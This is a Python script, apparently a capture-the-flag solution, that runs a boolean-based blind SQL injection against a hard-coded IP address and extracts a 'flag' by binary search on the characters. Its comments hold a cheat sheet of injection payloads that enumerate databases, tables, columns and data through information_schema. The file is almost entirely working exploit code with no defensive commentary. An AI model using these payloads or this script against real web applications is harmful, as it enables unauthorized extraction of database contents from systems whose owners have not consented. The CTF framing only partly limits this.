# -*- coding:utf-8 -*-
import requests
import time

#当前库-----
#1' and length(database())>{}#
#1' and ascii(substr(database(),{},1))>{}#
#所有库-----
#1' and length((select group_concat(schema_name) from information_schema.schemata))>{}#
#1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{}#
#表---------
#1' and length((select group_concat(table_name) from information_schema.tables where table_schema='库名'))>{}#
#1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='库名'),{},1))>{}#
#字段-------
#1' and length((select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'))>{}#
#1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'),{},1))>{}#
#数据-------
#1' and length((select group_concat(字段名) from 库名.表名))>{}#
#1' and ascii(substr((select group_concat(字段名) from 库名.表名),{},1))>{}#

session = requests.Session()
url = "http://47.94.198.7:36253/index.php"

def inject(payload):
    data = {
        "id": payload
    }
    print(payload)
    response = session.post(url=url, data=data)
    time.sleep(0.1)
    return "glzjin" in response.text

def getLength():
    min = 0
    max = 500
    while max-min > 1:
        mid = (min+max)//2
        payload = "if(length((select(flag)from(flag)))>{},1,2)".format(mid)
        if inject(payload):
            min = mid
        else:
            max = mid
    return max

def getchars(length):
    chars = ""
    for i in range(0, length):
        min = 31
        max = 126
        while max-min > 1:
            mid = (min+max)//2
            payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(
                i+1, mid)
            if inject(payload):
                min = mid
            else:
                max = mid
        chars += chr(max)
    return chars


if __name__ == "__main__":
    length = getLength()
    print("length---->{}".format(length))
    print("flag------>{}".format(getchars(length)))
